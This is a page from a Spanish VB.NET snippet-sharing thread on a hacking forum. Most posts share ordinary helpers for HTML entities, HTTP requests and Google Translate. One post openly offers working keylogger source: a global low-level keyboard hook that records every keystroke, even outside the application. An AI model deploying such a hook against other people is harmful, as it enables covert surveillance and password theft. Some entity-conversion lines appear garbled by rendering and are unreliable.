elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 58 Ir Abajo Respuesta Imprimir
Autor Tema: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)  (Leído 480,258 veces)
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #140 en: 31 Mayo 2013, 20:53 pm »

Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad  ;-) :laugh:

Si no fuese por mi  ::)... espero ver mis créditos xD

Me alegro, Saludos.


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #141 en: 2 Junio 2013, 08:19 am »

Un simple método Get:

Código
  1. #Region " Get Method "
  2.  
  3.    ' [ Get Method Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
  7.  
  8.    Public Function Get_Method(ByVal URL As String) As String
  9.        Dim webClient As New System.Net.WebClient
  10.        Return webClient.DownloadString(URL)
  11.    End Function
  12.  
  13. #End Region




Convierte un string a entidades html:

Código
  1. #Region " String To Html Entities "
  2.  
  3.    ' [ String To Html Escaped Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com
  9.  
  10.    Private Function String_To_Html_Entities(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&", "&") ' Keep this character to be always the first replaced.
  13.        str = str.Replace(ControlChars.Quote, """)
  14.        str = str.Replace(" ", " ")
  15.        str = str.Replace("<", "&lt;")
  16.        str = str.Replace(">", "&gt;")
  17.        str = str.Replace("¡", "&iexcl;")
  18.        str = str.Replace("¢", "&cent;")
  19.        str = str.Replace("£", "&pound;")
  20.        str = str.Replace("¤", "&curren;")
  21.        str = str.Replace("¥", "&yen;")
  22.        str = str.Replace("¦", "&brvbar;")
  23.        str = str.Replace("§", "&sect;")
  24.        str = str.Replace("¨", "&uml;")
  25.        str = str.Replace("©", "&copy;")
  26.        str = str.Replace("ª", "&ordf;")
  27.        str = str.Replace("¬", "&not;")
  28.        str = str.Replace("®", "&reg;")
  29.        str = str.Replace("¯", "&macr;")
  30.        str = str.Replace("°", "&deg;")
  31.        str = str.Replace("±", "&plusmn;")
  32.        str = str.Replace("²", "&sup2;")
  33.        str = str.Replace("³", "&sup3;")
  34.        str = str.Replace("´", "&acute;")
  35.        str = str.Replace("µ", "&micro;")
  36.        str = str.Replace("¶", "&para;")
  37.        str = str.Replace("·", "&middot;")
  38.        str = str.Replace("¸", "&cedil;")
  39.        str = str.Replace("¹", "&sup1;")
  40.        str = str.Replace("º", "&ordm;")
  41.        str = str.Replace("»", "&raquo;")
  42.        str = str.Replace("¼", "&frac14;")
  43.        str = str.Replace("½", "&frac12;")
  44.        str = str.Replace("¾", "&frac34;")
  45.        str = str.Replace("¿", "&iquest;")
  46.        str = str.Replace("×", "&times;")
  47.        str = str.Replace("ß", "&szlig;")
  48.        str = str.Replace("À", "&Agrave;")
  49.        str = str.Replace("à", "&agrave;")
  50.        str = str.Replace("Á", "&Aacute;")
  51.        str = str.Replace("á", "&aacute;")
  52.        str = str.Replace("", "&Acirc;")
  53.        str = str.Replace("â", "&acirc;")
  54.        str = str.Replace("Ã", "&Atilde;")
  55.        str = str.Replace("ã", "&atilde;")
  56.        str = str.Replace("Ä", "&Auml;")
  57.        str = str.Replace("ä", "&auml;")
  58.        str = str.Replace("Å", "&Aring;")
  59.        str = str.Replace("å", "&aring;")
  60.        str = str.Replace("Æ", "&AElig;")
  61.        str = str.Replace("æ", "&aelig;")
  62.        str = str.Replace("ç", "&ccedil;")
  63.        str = str.Replace("Ç", "&Ccedil;")
  64.        str = str.Replace("È", "&Egrave;")
  65.        str = str.Replace("è", "&egrave;")
  66.        str = str.Replace("É", "&Eacute;")
  67.        str = str.Replace("é", "&eacute;")
  68.        str = str.Replace("Ê", "&Ecirc;")
  69.        str = str.Replace("ê", "&ecirc;")
  70.        str = str.Replace("Ë", "&Euml;")
  71.        str = str.Replace("ë", "&euml;")
  72.        str = str.Replace("Ì", "&Igrave;")
  73.        str = str.Replace("ì", "&igrave;")
  74.        str = str.Replace("Í", "&Iacute;")
  75.        str = str.Replace("í", "&iacute;")
  76.        str = str.Replace("Î", "&Icirc;")
  77.        str = str.Replace("î", "&icirc;")
  78.        str = str.Replace("Ï", "&Iuml;")
  79.        str = str.Replace("ï", "&iuml;")
  80.        str = str.Replace("Ð", "&ETH;")
  81.        str = str.Replace("ð", "&eth;")
  82.        str = str.Replace("ñ", "&ntilde;")
  83.        str = str.Replace("Ñ", "&Ntilde;")
  84.        str = str.Replace("Ò", "&Ograve;")
  85.        str = str.Replace("ò", "&ograve;")
  86.        str = str.Replace("Ó", "&Oacute;")
  87.        str = str.Replace("ó", "&oacute;")
  88.        str = str.Replace("Ô", "&Ocirc;")
  89.        str = str.Replace("ô", "&ocirc;")
  90.        str = str.Replace("Õ", "&Otilde;")
  91.        str = str.Replace("õ", "&otilde;")
  92.        str = str.Replace("Ö", "&Ouml;")
  93.        str = str.Replace("ö", "&ouml;")
  94.        str = str.Replace("÷", "&divide;")
  95.        str = str.Replace("Ø", "&Oslash;")
  96.        str = str.Replace("ø", "&oslash;")
  97.        str = str.Replace("Ù", "&Ugrave;")
  98.        str = str.Replace("ù", "&ugrave;")
  99.        str = str.Replace("Ú", "&Uacute;")
  100.        str = str.Replace("ú", "&uacute;")
  101.        str = str.Replace("Û", "&Ucirc;")
  102.        str = str.Replace("û", "&ucirc;")
  103.        str = str.Replace("Ü", "&Uuml;")
  104.        str = str.Replace("ü", "&uuml;")
  105.        str = str.Replace("Ý", "&Yacute;")
  106.        str = str.Replace("ý", "&yacute;")
  107.        str = str.Replace("Þ", "&THORN;")
  108.        str = str.Replace("þ", "&thorn;")
  109.        str = str.Replace("€", "&euro;")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Convierte un string a entidades html codificadas:

Código
  1. #Region " String To Html Escaped Entities "
  2.  
  3.    ' [ String To Html Escaped Entities Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;
  9.  
  10.    Public Function String_To_Html_Escaped_Entities(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length * 6)
  12.        For Each c As Char In str : sb.Append("&#38;#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
  13.        Return sb.ToString()
  14.    End Function
  15.  
  16. #End Region




Decodifica un string que contenga entidades HTML

Código
  1. #Region " Html Entities To String "
  2.  
  3.    ' [ Html Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
  9.  
  10.    Private Function Html_Entities_To_String(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&quot;", ControlChars.Quote)
  13.        str = str.Replace("&amp;", "&")
  14.        str = str.Replace("&nbsp;", "")
  15.        str = str.Replace("&lt;", "<")
  16.        str = str.Replace("&gt;", ">")
  17.        str = str.Replace("&iexcl;", "¡")
  18.        str = str.Replace("&cent;", "¢")
  19.        str = str.Replace("&pound;", "£")
  20.        str = str.Replace("&curren;", "¤")
  21.        str = str.Replace("&yen;", "¥")
  22.        str = str.Replace("&brvbar;", "¦")
  23.        str = str.Replace("&sect;", "§")
  24.        str = str.Replace("&uml;", "¨")
  25.        str = str.Replace("&copy;", "©")
  26.        str = str.Replace("&ordf;", "ª")
  27.        str = str.Replace("&not;", "¬")
  28.        str = str.Replace("&reg;", "®")
  29.        str = str.Replace("&macr;", "¯")
  30.        str = str.Replace("&deg;", "°")
  31.        str = str.Replace("&plusmn;", "±")
  32.        str = str.Replace("&sup2;", "²")
  33.        str = str.Replace("&sup3;", "³")
  34.        str = str.Replace("&acute;", "´")
  35.        str = str.Replace("&micro;", "µ")
  36.        str = str.Replace("&para;", "¶")
  37.        str = str.Replace("&middot;", "·")
  38.        str = str.Replace("&cedil;", "¸")
  39.        str = str.Replace("&sup1;", "¹")
  40.        str = str.Replace("&ordm;", "º")
  41.        str = str.Replace("&raquo;", "»")
  42.        str = str.Replace("&frac14;", "¼")
  43.        str = str.Replace("&frac12;", "½")
  44.        str = str.Replace("&frac34;", "¾")
  45.        str = str.Replace("&iquest;", "¿")
  46.        str = str.Replace("&times;", "×")
  47.        str = str.Replace("&szlig;", "ß")
  48.        str = str.Replace("&Agrave;", "À")
  49.        str = str.Replace("&agrave;", "à")
  50.        str = str.Replace("&Aacute;", "Á")
  51.        str = str.Replace("&aacute;", "á")
  52.        str = str.Replace("&Acirc;", "")
  53.        str = str.Replace("&acirc;", "â")
  54.        str = str.Replace("&Atilde;", "Ã")
  55.        str = str.Replace("&atilde;", "ã")
  56.        str = str.Replace("&Auml;", "Ä")
  57.        str = str.Replace("&auml;", "ä")
  58.        str = str.Replace("&Aring;", "Å")
  59.        str = str.Replace("&aring;", "å")
  60.        str = str.Replace("&AElig;", "Æ")
  61.        str = str.Replace("&aelig;", "æ")
  62.        str = str.Replace("&ccedil;", "ç")
  63.        str = str.Replace("&Ccedil;", "Ç")
  64.        str = str.Replace("&Egrave;", "È")
  65.        str = str.Replace("&egrave;", "è")
  66.        str = str.Replace("&Eacute;", "É")
  67.        str = str.Replace("&eacute;", "é")
  68.        str = str.Replace("&Ecirc;", "Ê")
  69.        str = str.Replace("&ecirc;", "ê")
  70.        str = str.Replace("&Euml;", "Ë")
  71.        str = str.Replace("&euml;", "ë")
  72.        str = str.Replace("&Igrave;", "Ì")
  73.        str = str.Replace("&igrave;", "ì")
  74.        str = str.Replace("&Iacute;", "Í")
  75.        str = str.Replace("&iacute;", "í")
  76.        str = str.Replace("&Icirc;", "Î")
  77.        str = str.Replace("&icirc;", "î")
  78.        str = str.Replace("&Iuml;", "Ï")
  79.        str = str.Replace("&iuml;", "ï")
  80.        str = str.Replace("&ETH;", "Ð")
  81.        str = str.Replace("&eth;", "ð")
  82.        str = str.Replace("&ntilde;", "ñ")
  83.        str = str.Replace("&Ntilde;", "Ñ")
  84.        str = str.Replace("&Ograve;", "Ò")
  85.        str = str.Replace("&ograve;", "ò")
  86.        str = str.Replace("&Oacute;", "Ó")
  87.        str = str.Replace("&oacute;", "ó")
  88.        str = str.Replace("&Ocirc;", "Ô")
  89.        str = str.Replace("&ocirc;", "ô")
  90.        str = str.Replace("&Otilde;", "Õ")
  91.        str = str.Replace("&otilde;", "õ")
  92.        str = str.Replace("&Ouml;", "Ö")
  93.        str = str.Replace("&ouml;", "ö")
  94.        str = str.Replace("&divide;", "÷")
  95.        str = str.Replace("&Oslash;", "Ø")
  96.        str = str.Replace("&oslash;", "ø")
  97.        str = str.Replace("&Ugrave;", "Ù")
  98.        str = str.Replace("&ugrave;", "ù")
  99.        str = str.Replace("&Uacute;", "Ú")
  100.        str = str.Replace("&uacute;", "ú")
  101.        str = str.Replace("&Ucirc;", "Û")
  102.        str = str.Replace("&ucirc;", "û")
  103.        str = str.Replace("&Uuml;", "Ü")
  104.        str = str.Replace("&uuml;", "ü")
  105.        str = str.Replace("&Yacute;", "Ý")
  106.        str = str.Replace("&yacute;", "ý")
  107.        str = str.Replace("&THORN;", "Þ")
  108.        str = str.Replace("&thorn;", "þ")
  109.        str = str.Replace("&euro;", "€")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Decodifica un string codificado en HTML Escaped Entities

Código
  1. #Region " Html Escaped Entities To String "
  2.  
  3.    ' [ Html Escaped Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Escaped_Entities_To_String("&#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;")) ' Result: Me@Gmail.com
  9.  
  10.   Public Function Html_Escaped_Entities_To_String(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length)
  12.        str = str.Replace("&#38;#", "")
  13.        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
  14.        Return sb.ToString()
  15.    End Function
  16.  
  17. #End Region




Comprueba si un numero es multiplo de otro

Código
  1.    #Region " Number Is Multiple? "
  2.  
  3.       ' [ Number Is Multiple? Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
  12.        Return (Number Mod Multiple = 0)
  13.    End Function
  14.  
  15.    #End Region



Comprueba si un numero es divisible por otro

Código
  1.    #Region " Number Is Divisible? "
  2.  
  3.       ' [ Number Is Divisible? Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
  12.        Return (Number Mod Divisible = 0)
  13.    End Function
  14.  
  15.  
  16.    #End Region


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #142 en: 2 Junio 2013, 08:21 am »

Usar Google Translate sin comprar la API de pago xD

Código
  1. #Region " Google Translate "
  2.  
  3.    ' [ Google Translate Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
  10.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
  11.  
  12.    Public Enum GoogleTranslate_Languages
  13.        auto ' Detectar idioma
  14.        af ' afrikáans
  15.        ar ' árabe
  16.        az ' azerí
  17.        be ' bielorruso
  18.        bg ' búlgaro
  19.        bn ' bengalí; bangla
  20.        bs ' bosnio
  21.        ca ' catalán
  22.        ceb ' cebuano
  23.        cs ' checo
  24.        cy ' galés
  25.        da ' danés
  26.        de ' alemán
  27.        el ' griego
  28.        en ' inglés
  29.        eo ' esperanto
  30.        es ' español
  31.        et ' estonio
  32.        eu ' euskera
  33.        fa ' persa
  34.        fi ' finlandés
  35.        fr ' francés
  36.        ga ' irlandés
  37.        gl ' gallego
  38.        gu ' gujarati
  39.        hi ' hindi
  40.        hmn ' Hmong
  41.        hr ' croata
  42.        ht ' criollo haitiano
  43.        hu ' húngaro
  44.        hy ' armenio
  45.        id ' indonesio
  46.        it ' italiano
  47.        iw ' hebreo
  48.        ja ' japonés
  49.        jw ' javanés
  50.        ka ' georgiano
  51.        km ' Jemer
  52.        kn ' canarés
  53.        ko ' coreano
  54.        la ' latín
  55.        lo ' lao
  56.        lt ' lituano
  57.        lv ' letón
  58.        mk ' macedonio
  59.        mr ' maratí
  60.        ms ' malayo
  61.        mt ' maltés
  62.        nl ' holandés
  63.        no ' noruego
  64.        pl ' polaco
  65.        pt ' portugués
  66.        ro ' rumano
  67.        ru ' ruso
  68.        sk ' eslovaco
  69.        sl ' esloveno
  70.        sq ' albanés
  71.        sr ' serbio
  72.        sv ' sueco
  73.        sw ' suajili
  74.        ta ' tamil
  75.        te ' telugu
  76.        th ' tailandés
  77.        tl ' tagalo
  78.        tr ' turco
  79.        uk ' ucraniano
  80.        ur ' urdu
  81.        vi ' vietnamita
  82.        yi ' yidis
  83.        zh_CN ' chino
  84.    End Enum
  85.  
  86.    Public Function Google_Translate(ByVal Input As String, _
  87.                                     ByVal From_Language As GoogleTranslate_Languages, _
  88.                                     ByVal To_Language As GoogleTranslate_Languages) As String
  89.  
  90.        Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  91.        Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  92.  
  93.        Dim webClient As New System.Net.WebClient
  94.  
  95.        Dim str = webClient.DownloadString( _
  96.        "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
  97.        "&sl=" & Formatted_From_Language & _
  98.        "&tl=" & Formatted_To_Language & "")
  99.  
  100.        Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
  101.  
  102.    End Function
  103.  
  104. #End Region

Extra:
-> [BATCH] GTC (Google Translate Console)
« Última modificación: 2 Junio 2013, 08:24 am por EleKtro H@cker » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #143 en: 2 Junio 2013, 15:56 pm »

Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código
  1. #Region " KeyLogger "
  2.  
  3. Public WithEvents KeysHook As New KeyboardHook
  4.  
  5. Dim Auto_Backspace_Key As Boolean = True
  6. Dim Auto_Enter_Key As Boolean = True
  7. Dim Auto_Tab_Key As Boolean = True
  8. Dim No_F_Keys As Boolean = False
  9.  
  10. Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
  11.  
  12.    Select Case Control.ModifierKeys
  13.  
  14.        Case 393216 ' Alt-GR + Key
  15.  
  16.            Select Case Key
  17.                Case Keys.D1 : Key_Listener("|")
  18.                Case Keys.D2 : Key_Listener("@")
  19.                Case Keys.D3 : Key_Listener("#")
  20.                Case Keys.D4 : Key_Listener("~")
  21.                Case Keys.D5 : Key_Listener("€")
  22.                Case Keys.D6 : Key_Listener("¬")
  23.                Case Keys.E : Key_Listener("€")
  24.                Case Keys.Oem1 : Key_Listener("[")
  25.                Case Keys.Oem5 : Key_Listener("\")
  26.                Case Keys.Oem7 : Key_Listener("{")
  27.                Case Keys.Oemplus : Key_Listener("]")
  28.                Case Keys.OemQuestion : Key_Listener("}")
  29.                Case Else : Key_Listener("")
  30.            End Select
  31.  
  32.        Case 65536 ' LShift/RShift + Key
  33.  
  34.            Select Case Key
  35.                Case Keys.D0 : Key_Listener("=")
  36.                Case Keys.D1 : Key_Listener("!")
  37.                Case Keys.D2 : Key_Listener("""")
  38.                Case Keys.D3 : Key_Listener("·")
  39.                Case Keys.D4 : Key_Listener("$")
  40.                Case Keys.D5 : Key_Listener("%")
  41.                Case Keys.D6 : Key_Listener("&")
  42.                Case Keys.D7 : Key_Listener("/")
  43.                Case Keys.D8 : Key_Listener("(")
  44.                Case Keys.D9 : Key_Listener(")")
  45.                Case Keys.Oem1 : Key_Listener("^")
  46.                Case Keys.Oem5 : Key_Listener("ª")
  47.                Case Keys.Oem6 : Key_Listener("¿")
  48.                Case Keys.Oem7 : Key_Listener("¨")
  49.                Case Keys.OemBackslash : Key_Listener(">")
  50.                Case Keys.Oemcomma : Key_Listener(";")
  51.                Case Keys.OemMinus : Key_Listener("_")
  52.                Case Keys.OemOpenBrackets : Key_Listener("?")
  53.                Case Keys.OemPeriod : Key_Listener(":")
  54.                Case Keys.Oemplus : Key_Listener("*")
  55.                Case Keys.OemQuestion : Key_Listener("Ç")
  56.                Case Keys.Oemtilde : Key_Listener("Ñ")
  57.                Case Else : Key_Listener("")
  58.            End Select
  59.  
  60.        Case Else
  61.  
  62.            If Key.ToString.Length = 1 Then ' Single alpha key
  63.  
  64.                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
  65.                    Key_Listener(Key.ToString.ToUpper)
  66.                Else
  67.                    Key_Listener(Key.ToString.ToLower)
  68.                End If
  69.  
  70.            Else
  71.  
  72.                Select Case Key ' Single special key
  73.                    Case Keys.Add : Key_Listener("+")
  74.                    Case Keys.Back : Key_Listener("{BackSpace}")
  75.                    Case Keys.D0 : Key_Listener("0")
  76.                    Case Keys.D1 : Key_Listener("1")
  77.                    Case Keys.D2 : Key_Listener("2")
  78.                    Case Keys.D3 : Key_Listener("3")
  79.                    Case Keys.D4 : Key_Listener("4")
  80.                    Case Keys.D5 : Key_Listener("5")
  81.                    Case Keys.D6 : Key_Listener("6")
  82.                    Case Keys.D7 : Key_Listener("7")
  83.                    Case Keys.D8 : Key_Listener("8")
  84.                    Case Keys.D9 : Key_Listener("9")
  85.                    Case Keys.Decimal : Key_Listener(".")
  86.                    Case Keys.Delete : Key_Listener("{Supr}")
  87.                    Case Keys.Divide : Key_Listener("/")
  88.                    Case Keys.End : Key_Listener("{End}")
  89.                    Case Keys.Enter : Key_Listener("{Enter}")
  90.                    Case Keys.F1 : Key_Listener("{F1}")
  91.                    Case Keys.F10 : Key_Listener("{F10}")
  92.                    Case Keys.F11 : Key_Listener("{F11}")
  93.                    Case Keys.F12 : Key_Listener("{F12}")
  94.                    Case Keys.F2 : Key_Listener("{F2}")
  95.                    Case Keys.F3 : Key_Listener("{F3}")
  96.                    Case Keys.F4 : Key_Listener("{F4}")
  97.                    Case Keys.F5 : Key_Listener("{F5}")
  98.                    Case Keys.F6 : Key_Listener("{F6}")
  99.                    Case Keys.F7 : Key_Listener("{F7}")
  100.                    Case Keys.F8 : Key_Listener("{F8}")
  101.                    Case Keys.F9 : Key_Listener("{F9}")
  102.                    Case Keys.Home : Key_Listener("{Home}")
  103.                    Case Keys.Insert : Key_Listener("{Insert}")
  104.                    Case Keys.Multiply : Key_Listener("*")
  105.                    Case Keys.NumPad0 : Key_Listener("0")
  106.                    Case Keys.NumPad1 : Key_Listener("1")
  107.                    Case Keys.NumPad2 : Key_Listener("2")
  108.                    Case Keys.NumPad3 : Key_Listener("3")
  109.                    Case Keys.NumPad4 : Key_Listener("4")
  110.                    Case Keys.NumPad5 : Key_Listener("5")
  111.                    Case Keys.NumPad6 : Key_Listener("6")
  112.                    Case Keys.NumPad7 : Key_Listener("7")
  113.                    Case Keys.NumPad8 : Key_Listener("8")
  114.                    Case Keys.NumPad9 : Key_Listener("9")
  115.                    Case Keys.Oem1 : Key_Listener("`")
  116.                    Case Keys.Oem5 : Key_Listener("º")
  117.                    Case Keys.Oem6 : Key_Listener("¡")
  118.                    Case Keys.Oem7 : Key_Listener("´")
  119.                    Case Keys.OemBackslash : Key_Listener("<")
  120.                    Case Keys.Oemcomma : Key_Listener(",")
  121.                    Case Keys.OemMinus : Key_Listener(".")
  122.                    Case Keys.OemOpenBrackets : Key_Listener("'")
  123.                    Case Keys.OemPeriod : Key_Listener("-")
  124.                    Case Keys.Oemplus : Key_Listener("+")
  125.                    Case Keys.OemQuestion : Key_Listener("ç")
  126.                    Case Keys.Oemtilde : Key_Listener("ñ")
  127.                    Case Keys.PageDown : Key_Listener("{AvPag}")
  128.                    Case Keys.PageUp : Key_Listener("{RePag}")
  129.                    Case Keys.Space : Key_Listener(" ")
  130.                    Case Keys.Subtract : Key_Listener("-")
  131.                    Case Keys.Tab : Key_Listener("{Tabulation}")
  132.                    Case Else : Key_Listener("")
  133.                End Select
  134.  
  135.            End If
  136.  
  137.    End Select
  138.  
  139. End Sub
  140.  
  141. Public Sub Key_Listener(ByVal key As String)
  142.  
  143.    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
  144.        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
  145.    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
  146.        RichTextBox1.Text += ControlChars.NewLine
  147.    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
  148.        RichTextBox1.Text += ControlChars.Tab
  149.    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
  150.    Else ' Print the character
  151.        RichTextBox1.Text += key
  152.    End If
  153.  
  154. End Sub
  155.  
  156. #End Region

Y esta es la class del Hook:
Código
  1. Imports System.Runtime.InteropServices
  2.  
  3. Public Class KeyboardHook
  4.  
  5.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  6.    Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  7.    End Function
  8.  
  9.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  10.    Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  11.    End Function
  12.  
  13.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  14.    Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
  15.    End Function
  16.  
  17.    <StructLayout(LayoutKind.Sequential)> _
  18.    Private Structure KBDLLHOOKSTRUCT
  19.        Public vkCode As UInt32
  20.        Public scanCode As UInt32
  21.        Public flags As KBDLLHOOKSTRUCTFlags
  22.        Public time As UInt32
  23.        Public dwExtraInfo As UIntPtr
  24.    End Structure
  25.  
  26.    <Flags()> _
  27.    Private Enum KBDLLHOOKSTRUCTFlags As UInt32
  28.        LLKHF_EXTENDED = &H1
  29.        LLKHF_INJECTED = &H10
  30.        LLKHF_ALTDOWN = &H20
  31.        LLKHF_UP = &H80
  32.    End Enum
  33.  
  34.    Public Shared Event KeyDown(ByVal Key As Keys)
  35.    Public Shared Event KeyUp(ByVal Key As Keys)
  36.  
  37.    Private Const WH_KEYBOARD_LL As Integer = 13
  38.    Private Const HC_ACTION As Integer = 0
  39.    Private Const WM_KEYDOWN = &H100
  40.    Private Const WM_KEYUP = &H101
  41.    Private Const WM_SYSKEYDOWN = &H104
  42.    Private Const WM_SYSKEYUP = &H105
  43.  
  44.    Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  45.  
  46.    Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
  47.    Private HHookID As IntPtr = IntPtr.Zero
  48.  
  49.    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  50.        If (nCode = HC_ACTION) Then
  51.            Dim struct As KBDLLHOOKSTRUCT
  52.            Select Case wParam
  53.                Case WM_KEYDOWN, WM_SYSKEYDOWN
  54.                    RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  55.                Case WM_KEYUP, WM_SYSKEYUP
  56.                    RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  57.            End Select
  58.        End If
  59.        Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
  60.    End Function
  61.  
  62.    Public Sub New()
  63.        HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  64.        If HHookID = IntPtr.Zero Then
  65.            Throw New Exception("Could not set keyboard hook")
  66.        End If
  67.    End Sub
  68.  
  69.    Protected Overrides Sub Finalize()
  70.        If Not HHookID = IntPtr.Zero Then
  71.            UnhookWindowsHookEx(HHookID)
  72.        End If
  73.        MyBase.Finalize()
  74.    End Sub
  75.  
  76. End Class
« Última modificación: 2 Junio 2013, 17:18 pm por EleKtro H@cker » En línea

z3nth10n


Desconectado Desconectado

Mensajes: 1.583


"Jack of all trades, master of none." - Zenthion


Ver Perfil WWW
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #144 en: 2 Junio 2013, 16:47 pm »

Elektro pone al principio del ultimo snippet ublic, en vez de Public:laugh:
En línea


Interesados hablad por Discord.
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #145 en: 2 Junio 2013, 17:15 pm »

Elektro pone al principio del ultimo snippet ublic, en vez de Public:laugh:

Corregido, gracias.

¿Alguna imperfección más? xD

Salu2!
En línea

z3nth10n


Desconectado Desconectado

Mensajes: 1.583


"Jack of all trades, master of none." - Zenthion


Ver Perfil WWW
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #146 en: 2 Junio 2013, 17:38 pm »

Creo que no. xD
En línea


Interesados hablad por Discord.
